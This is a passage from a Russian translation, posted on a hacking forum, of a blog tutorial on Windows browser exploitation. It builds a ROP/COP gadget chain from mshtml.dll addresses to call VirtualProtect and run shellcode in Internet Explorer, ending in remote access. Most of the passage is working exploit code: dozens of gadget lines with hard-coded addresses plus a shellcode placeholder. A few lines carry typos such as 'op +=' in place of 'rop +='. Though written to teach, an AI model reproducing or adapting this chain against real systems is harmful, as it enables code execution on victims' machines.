Это создаст в стеке еще несколько адресов, которые мы сможем использовать для упорядочивания наших вычислений. Прототип переменной ROP для гаджетов составляет 0x500 байтов, и она отслеживает каждый DWORD, который уже был помещен в стек, что означает, что он будет динамически уменьшаться в размере по мере использования большего количества гаджетов, что означает, что мы можем надежно вычислить, где наш шелл-код находится в стеке без дополнительных гаджетов, продвигающих шеллкод все ниже и ниже. 0x16 в цикле for отслеживает, сколько гаджетов было использовано до сих пор, в шестнадцатеричном формате, и каждый раз, когда мы добавляем гаджет, нам нужно увеличивать это число на количество добавленных гаджетов. Вероятно, есть более эффективные способы математического расчета, но я больше сосредоточен на концепциях эксплуатации браузера, а не на автоматизации.

Мы знаем, что наш шелл-код будет начинаться там, где находятся наши коды операций 91919191. В конце концов, мы добавим к финальной полезной нагрузке несколько NOP, просто для обеспечения стабильности. Теперь, когда у нас есть первый аргумент, давайте перейдем к фальшивому обратному адресу.

Мы знаем, что адрес стека, содержащий теперь реальный первый аргумент для нашей цепочки ROP, адрес VirtualProtect, находится в ECX. Это означает, что адрес, следующий сразу после него, будет параметром-заполнителем для нашего обратного адреса.

73.png


Мы видим, что если мы увеличим ECX на 4 байта, мы сможем получить адрес стека, указывающий на заполнитель адреса возврата в ECX. Оттуда мы можем поместить местоположение шелл-кода в EAX и использовать наш произвольный гаджет записи, чтобы перезаписать параметр-заполнитель фактическим аргументом, который мы хотели бы передать, то есть адресом начала байта 91919191 (также известного как адрес нашего шелл-кода. ).

Мы можем использовать следующие устройства для увеличения ECX.

rop += "\uc4d4\u74e4"; // inc ecx ; ret (74e4c4d4) (mshtml.dll) Increment ECX to get the stack address containing the fake return address parameter placeholder
rop += "\uc4d4\u74e4"; // inc ecx ; ret (74e4c4d4) (mshtml.dll) Increment ECX to get the stack address containing the fake return address parameter placeholder
rop += "\uc4d4\u74e4"; // inc ecx ; ret (74e4c4d4) (mshtml.dll) Increment ECX to get the stack address containing the fake return address parameter placeholder
rop += "\uc4d4\u74e4"; // inc ecx ; ret (74e4c4d4) (mshtml.dll) Increment ECX to get the stack address containing the fake return address parameter placeholder

Не забудьте также увеличить переменную, ранее использовавшуюся в нашем цикле for, с помощью дополнительных 4-х гаджетов ROP (всего 0x1a, или 26). Ожидается, что с этого момента это число будет увеличиваться и компенсировать каждый дополнительный необходимый гаджет.

После увеличения ECX мы видим, что адрес заполнителя параметра для адреса возврата находится в ECX.

74.png


Мы также знаем, что расстояние между значением в ECX и местом начала нашего шелл-кода равно 0x4dc или fffffb24 в отрицательном представлении. Напомним, что если бы мы поместили значение 0x4dc в стек, оно преобразовалось бы в 0x000004dc, которое содержит байты NULL, что приведет к поломке эксплойта. Таким образом, мы используем отрицательное представление значения, которое не содержит байтов NULL, и в конечном итоге выполним операцию отрицания этого значения.

75.png


Итак, для начала поместим это отрицательное представление между текущим значением в ECX, которое является адресом стека, который указывает на 11111111, или нашим заполнителем параметра для адреса возврата, и нашим местоположением шелл-кода (91919191) в EAX.

rop += "\ubfd3\u750c"; // pop eax ; ret (750cbfd3) (mshtml.dll) Place the negative distance between the current value of ECX (which contains the fake return parameter placeholder on the stack) and the shellcode location into EAX
rop += "\ufc80\uffff"; // Negative distance described above (fffffc80)

Отсюда мы выполним операцию отрицания в EAX, которая поместит фактическое значение 0x4dc в EAX.

rop += "\u8cf0\u7504"; // neg eax ; ret (75048cf0) (mshtml.dll) Place the actual distance to the shellcode into EAX

Как упоминалось выше, мы знаем, что в конечном итоге хотим получить адрес стека, указывающий на наш шелл-код, в EAX. Для этого нам нужно будет добавить расстояние к нашему шеллкоду к адресу нашего заполнителя возвращаемого параметра, который в настоящее время находится только в ECX. Есть хороший гаджет ROP, который можно легко добавить в EAX в mshtml.dll.

add eax, ebx ; ret

Чтобы добавить в EAX, нам сначала нужно получить расстояние до нашего шеллкода в EBX. Для этого нам доступен хороший гаджет COP.

mov ebx, eax ; call edi

Сначала мы собираемся начать с подготовки EDI с гаджетом ROP, который возвращается в стек, как это обычно бывает с COP.

rop += "\u4d3d\u74c2"; // pop edi ; ret (74c24d3d) (mshtml.dll) Prepare EDI for a COP gadget
rop += "\u07be\u74fb"; // add esp, 0xC ; ret (74fb07be) (mshtml.dll) Return back to the stack and jump over the return address form previous COP gadget
После этого давайте сохраним расстояние до нашего шеллкода в EBX и скомпенсируем возврат предыдущего гаджета COP в стек.

rop += "\uc0c8\u7512"; // mov ebx, eax ; call edi (7512c0c8) (mshtml.dll) Place the distance to the shellcode into EBX
rop += "\u9090\u9090"; // Padding to compensate for previous COP gadget
rop += "\u9090\u9090"; // Padding to compensate for previous COP gadge
Мы знаем, что ECX содержит адрес заполнителя параметра для нашего обратного адреса, который был базовым адресом, используемым в наших расчетах для расстояния между этим заполнителем и нашим шелл-кодом. Давайте переместим этот адрес в EAX.

op += "\u9449\u750c"; // mov eax, ecx ; ret (750c9449) (mshtml.dll) Get the return address parameter placeholder stack address back into EAX

Теперь давайте рассмотрим эти гаджеты ROP в отладчике.

Выполнение сначала попадает в EAX, и отрицательное расстояние до нашего шеллкода загружается в EAX.

76.png


После того, как гаджет возврата в стек загружен в EDI, чтобы подготовиться к гаджету COP, расстояние до нашего шеллкода загружается в EBX. Затем адрес заполнителя параметра загружается в EAX.

77.png


Поскольку адрес заполнителя адреса возврата находится в EAX, мы можем просто добавить к нему значение EBX, которое является расстоянием от заполнителя адреса возврата, в EAX, что приведет к адресу стека, который указывает на начало нашего шеллкод в EAX. Затем мы можем использовать ранее использованный гаджет произвольной записи, чтобы перезаписать то, на что в настоящее время указывает ECX, то есть адрес стека, указывающий на заполнитель параметра адреса возврата.

op += "\u5a6c\u74ce"; // add eax, ebx ; ret (74ce5a6c) (mshtml.dll) Place the address of the shellcode into EAX
rop += "\u8d86\u750c"; // mov dword [ecx], eax ; ret (750c8d86) (mshtml.dll) Arbitrary write to overwrite stack address with parameter placeholder for the fake return address, with the address of the shellcod

Мы видим, что адрес нашего шелл-кода теперь находится в EAX.

78.png


Используя произвольный гаджет записи, мы успешно перезаписываем заполнитель параметра адреса возврата в стеке фактическим аргументом, которым является наш шелл-код!

79.png


Идеально! Следующий параметр также прост, поскольку заполнитель параметра расположен через 4 байта после адреса возврата (lpAddress). Поскольку у нас уже есть отличный гаджет произвольной записи, мы можем просто увеличить целевое местоположение на 4 байта, чтобы заполнитель параметра для lpAddress был помещен в ECX. Затем, поскольку адрес нашего шелл-кода уже находится в EAX, мы можем просто использовать его повторно!

rop += "\uc4d4\u74e4"; // inc ecx ; ret (74e4c4d4) (mshtml.dll) Increment ECX to get the stack address containing the lpAddress parameter placeholder
rop += "\uc4d4\u74e4"; // inc ecx ; ret (74e4c4d4) (mshtml.dll) Increment ECX to get the stack address containing the lpAddress parameter placeholder
rop += "\uc4d4\u74e4"; // inc ecx ; ret (74e4c4d4) (mshtml.dll) Increment ECX to get the stack address containing the lpAddress parameter placeholder
rop += "\uc4d4\u74e4"; // inc ecx ; ret (74e4c4d4) (mshtml.dll) Increment ECX to get the stack address containing the lpAddress parameter placeholder
rop += "\u8d86\u750c"; // mov dword [ecx], eax ; ret (750c8d86) (mshtml.dll) Arbitrary write to overwrite stack address with parameter placeholder for lpAddress, with the address of the shellcode
Как мы видим, мы позаботились о параметре lpAddress.

80.png


Далее следует размер нашего шелл-кода. Мы будем указывать 0x401 байт для нашего шелл-кода, так как этого более чем достаточно для оболочки.

rop += "\ubfd3\u750c"; // pop eax ; ret (750cbfd3) (mshtml.dll) Place the negative representation of 0x401 in EAX
rop += "\ufbff\uffff"; // Value from above
rop += "\u8cf0\u7504"; // neg eax ; ret (75048cf0) (mshtml.dll) Place the actual size of the shellcode in EAX
rop += "\uc4d4\u74e4"; // inc ecx ; ret (74e4c4d4) (mshtml.dll) Increment ECX to get the stack address containing the dwSize parameter placeholder
rop += "\uc4d4\u74e4"; // inc ecx ; ret (74e4c4d4) (mshtml.dll) Increment ECX to get the stack address containing the dwSize parameter placeholder
rop += "\uc4d4\u74e4"; // inc ecx ; ret (74e4c4d4) (mshtml.dll) Increment ECX to get the stack address containing the dwSize parameter placeholder
rop += "\uc4d4\u74e4"; // inc ecx ; ret (74e4c4d4) (mshtml.dll) Increment ECX to get the stack address containing the dwSize parameter placeholder
rop += "\u8d86\u750c"; // mov dword [ecx], eax ; ret (750c8d86) (mshtml.dll) Arbitrary write to overwrite stack address with parameter placeholder for dwSize, with the size of our shellcode

Как и в прошлый раз, мы знаем, что не можем поместить 0x00000401 в стек, поскольку он содержит NULL байты. Вместо этого мы загружаем отрицательное представление в EAX и отменяем его. Мы также знаем, что заполнитель параметра dwSize находится на +4 байта после заполнителя параметра lpAddress. Мы увеличиваем ECX, который имеет адрес lpAddress placholder, на 4 байта, чтобы поместить заполнитель dwSize в ECX. Затем мы снова используем тот же гаджет произвольной записи.

81.png


Идеально! Мы будем использовать ту же процедуру для параметра flNewProcect. Вместо отрицательного значения 0x401 на этот раз нам нужно поместить 0x40 в EAX, что соответствует константе памяти PAGE_EXECUTE_READWRITE.

rop += "\ubfd3\u750c"; // pop eax ; ret (750cbfd3) (mshtml.dll) Place the negative representation of 0x40 (PAGE_EXECUTE_READWRITE) in EAX
rop += "\uffc0\uffff"; // Value from above
rop += "\u8cf0\u7504"; // neg eax ; ret (75048cf0) (mshtml.dll) Place the actual memory constraint PAGE_EXECUTE_READWRITE in EAX
rop += "\uc4d4\u74e4"; // inc ecx ; ret (74e4c4d4) (mshtml.dll) Increment ECX to get the stack address containing the flNewProtect parameter placeholder
rop += "\uc4d4\u74e4"; // inc ecx ; ret (74e4c4d4) (mshtml.dll) Increment ECX to get the stack address containing the flNewProtect parameter placeholder
rop += "\uc4d4\u74e4"; // inc ecx ; ret (74e4c4d4) (mshtml.dll) Increment ECX to get the stack address containing the flNewProtect parameter placeholder
rop += "\uc4d4\u74e4"; // inc ecx ; ret (74e4c4d4) (mshtml.dll) Increment ECX to get the stack address containing the flNewProtect parameter placeholder
rop += "\u8d86\u750c"; // mov dword [ecx], eax ; ret (750c8d86) (mshtml.dll) Arbitrary write to overwrite stack address with parameter placeholder for flNewProtect, with PAGE_EXECUTE_READWRITE
82.png


Круто! Последнее, что нам нужно, это просто перезаписать последний заполнитель параметра, lpflOldProtect, любым доступным для записи адресом. Секция .data PE будет иметь память, доступную для чтения и записи. Здесь мы будем искать доступный для записи адрес.

83.png


Конец большинства секций в PE содержит байты NULL, и это наша цель, которая в конечном итоге оказывается адресом 7515c010. На изображении выше показано, что раздел .data начинается с mshtml + 534000. Мы также можем видеть, что его размер составляет 889 Кбайт.Зная это, мы можем просто получить доступ к .data + 8000, который должен быть ближе к концу секции.

84.png


Подпрограмма здесь идентична двум предыдущим подпрограммам ROP, за исключением того, что здесь нет операции отрицания, которая должна выполняться. Нам просто нужно вставить этот адрес в EAX и использовать тот же надежный гаджет произвольной записи, чтобы перезаписать последний заполнитель параметра.

rop += "\ubfd3\u750c"; // pop eax ; ret (750cbfd3) (mshtml.dll) Place a writable .data section address into EAX for lpflOldPRotect
rop += "\uc010\u7515"; // Value from above (7515c010)
rop += "\uc4d4\u74e4"; // inc ecx ; ret (74e4c4d4) (mshtml.dll) Increment ECX to get the stack address containing the lpflOldProtect parameter placeholder
rop += "\uc4d4\u74e4"; // inc ecx ; ret (74e4c4d4) (mshtml.dll) Increment ECX to get the stack address containing the lpflOldProtect parameter placeholder
rop += "\uc4d4\u74e4"; // inc ecx ; ret (74e4c4d4) (mshtml.dll) Increment ECX to get the stack address containing the lpflOldProtect parameter placeholder
rop += "\uc4d4\u74e4"; // inc ecx ; ret (74e4c4d4) (mshtml.dll) Increment ECX to get the stack address containing the lpflOldProtect parameter placeholder
rop += "\u8d86\u750c"; // mov dword [ecx], eax ; ret (750c8d86) (mshtml.dll) Arbitrary write to overwrite stack address with parameter placeholder for lpflOldProtect, with an address that is writable
Потрясающие! Мы полностью инструментировали наш вызов VirtualProtect. Теперь осталось только начать выполнение, вернувшись по адресу VirtualProtect в стеке. Для этого нам просто нужно загрузить адрес стека, который указывает на VirtualProtect, в EAX. Оттуда мы можем выполнить гаджет xchg eax, esp; ret, как и в начале нашей цепочки ROP, чтобы вернуться обратно на адрес VirtualProtect, запустив вызов нашей функции. Мы знаем, что в настоящее время ECX содержит адрес стека, указывающий на последний параметр lpflOldProtect.

85.png


Мы видим, что наше текущее значение в ECX составляет 0x14 байтов перед адресом стека VirtualProtect. Это означает, что мы можем использовать несколько dec ecx; ret ROP-гаджетов, чтобы уменьшить ECX на 0x14 байтов. Оттуда мы можем переместить регистр ECDX в регистр EAX, где мы можем выполнить обмен.

rop += "\ue715\u74fb"; // dec ecx ; ret (74fbe715) (mshtml.dll) Get ECX to the location on the stack containing the call to VirtualProtect
rop += "\ue715\u74fb"; // dec ecx ; ret (74fbe715) (mshtml.dll) Get ECX to the location on the stack containing the call to VirtualProtect
rop += "\ue715\u74fb"; // dec ecx ; ret (74fbe715) (mshtml.dll) Get ECX to the location on the stack containing the call to VirtualProtect
rop += "\ue715\u74fb"; // dec ecx ; ret (74fbe715) (mshtml.dll) Get ECX to the location on the stack containing the call to VirtualProtect
rop += "\ue715\u74fb"; // dec ecx ; ret (74fbe715) (mshtml.dll) Get ECX to the location on the stack containing the call to VirtualProtect
rop += "\ue715\u74fb"; // dec ecx ; ret (74fbe715) (mshtml.dll) Get ECX to the location on the stack containing the call to VirtualProtect
rop += "\ue715\u74fb"; // dec ecx ; ret (74fbe715) (mshtml.dll) Get ECX to the location on the stack containing the call to VirtualProtect
rop += "\ue715\u74fb"; // dec ecx ; ret (74fbe715) (mshtml.dll) Get ECX to the location on the stack containing the call to VirtualProtect
rop += "\ue715\u74fb"; // dec ecx ; ret (74fbe715) (mshtml.dll) Get ECX to the location on the stack containing the call to VirtualProtect
rop += "\ue715\u74fb"; // dec ecx ; ret (74fbe715) (mshtml.dll) Get ECX to the location on the stack containing the call to VirtualProtect
rop += "\ue715\u74fb"; // dec ecx ; ret (74fbe715) (mshtml.dll) Get ECX to the location on the stack containing the call to VirtualProtect
rop += "\ue715\u74fb"; // dec ecx ; ret (74fbe715) (mshtml.dll) Get ECX to the location on the stack containing the call to VirtualProtect
rop += "\ue715\u74fb"; // dec ecx ; ret (74fbe715) (mshtml.dll) Get ECX to the location on the stack containing the call to VirtualProtect
rop += "\ue715\u74fb"; // dec ecx ; ret (74fbe715) (mshtml.dll) Get ECX to the location on the stack containing the call to VirtualProtect
rop += "\ue715\u74fb"; // dec ecx ; ret (74fbe715) (mshtml.dll) Get ECX to the location on the stack containing the call to VirtualProtect
rop += "\ue715\u74fb"; // dec ecx ; ret (74fbe715) (mshtml.dll) Get ECX to the location on the stack containing the call to VirtualProtect
rop += "\ue715\u74fb"; // dec ecx ; ret (74fbe715) (mshtml.dll) Get ECX to the location on the stack containing the call to VirtualProtect
rop += "\ue715\u74fb"; // dec ecx ; ret (74fbe715) (mshtml.dll) Get ECX to the location on the stack containing the call to VirtualProtect
rop += "\ue715\u74fb"; // dec ecx ; ret (74fbe715) (mshtml.dll) Get ECX to the location on the stack containing the call to VirtualProtect
rop += "\ue715\u74fb"; // dec ecx ; ret (74fbe715) (mshtml.dll) Get ECX to the location on the stack containing the call to VirtualProtect
rop += "\u9449\u750c"; // mov eax, ecx ; ret (750c9449) (mshtml.dll) Get the stack address of VirtualProtect into EAX
rop += "\ua1ea\u74c7"; // xchg esp, eax ; ret (74c7a1ea) (mshtml.dll) Kick off the function call

Мы также можем заменить наш шелл-код некоторыми программными точками останова, чтобы убедиться, что наша цепочка ROP работает.

C:
// Create a placeholder for our shellcode, 0x400 in size
shellcode = "\uCCCC\uCCCC";

for (i=0; i < 0x396/4-1; i++)
{
shellcode += "\uCCCC\uCCCC";
}

После увеличения ECX мы видим, что теперь он содержит адрес стека VirtualProtect. Затем он передается в EAX, который затем обменивается с ESP для загрузки вызова функции в ESP! Часть ret гаджета принимает значение в ESP, то есть VirtualProtect, и загружает его в EIP, и мы получаем успешное выполнение кода!

86.png


86.png


87.png



88.png


89.png


90.png


После замены программных точек останова осмысленным шелл-кодом мы успешно получили удаленный доступ!

-==ТУТ ДОЛЖЕН БЫТЬ ГИФ НО ОН ЧТО-ТО НЕ ГРУЗИТСЯ==-


Заключение

Я знаю, что это был очень длинный пост в блоге. Было немного обидно видеть отсутствие начальных и конечных пошаговых руководств по эксплуатации браузера Windows, и я надеюсь, что смогу внести свой вклад в помощь тем, кто хочет войти в это, но запуган, как и я сам. Несмотря на то, что мы работаем над устаревшими системами, я надеюсь, что это может быть полезно. По крайней мере, так я документирую и учусь. Я рад продолжать расти и узнавать больше об эксплуатации браузеров! До скорого.

Мира, любви и позитива :)

Переведено специально для xss.pro
Автор перевода: yashechka
Источник: connormcgarr.github.io/browser1/
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх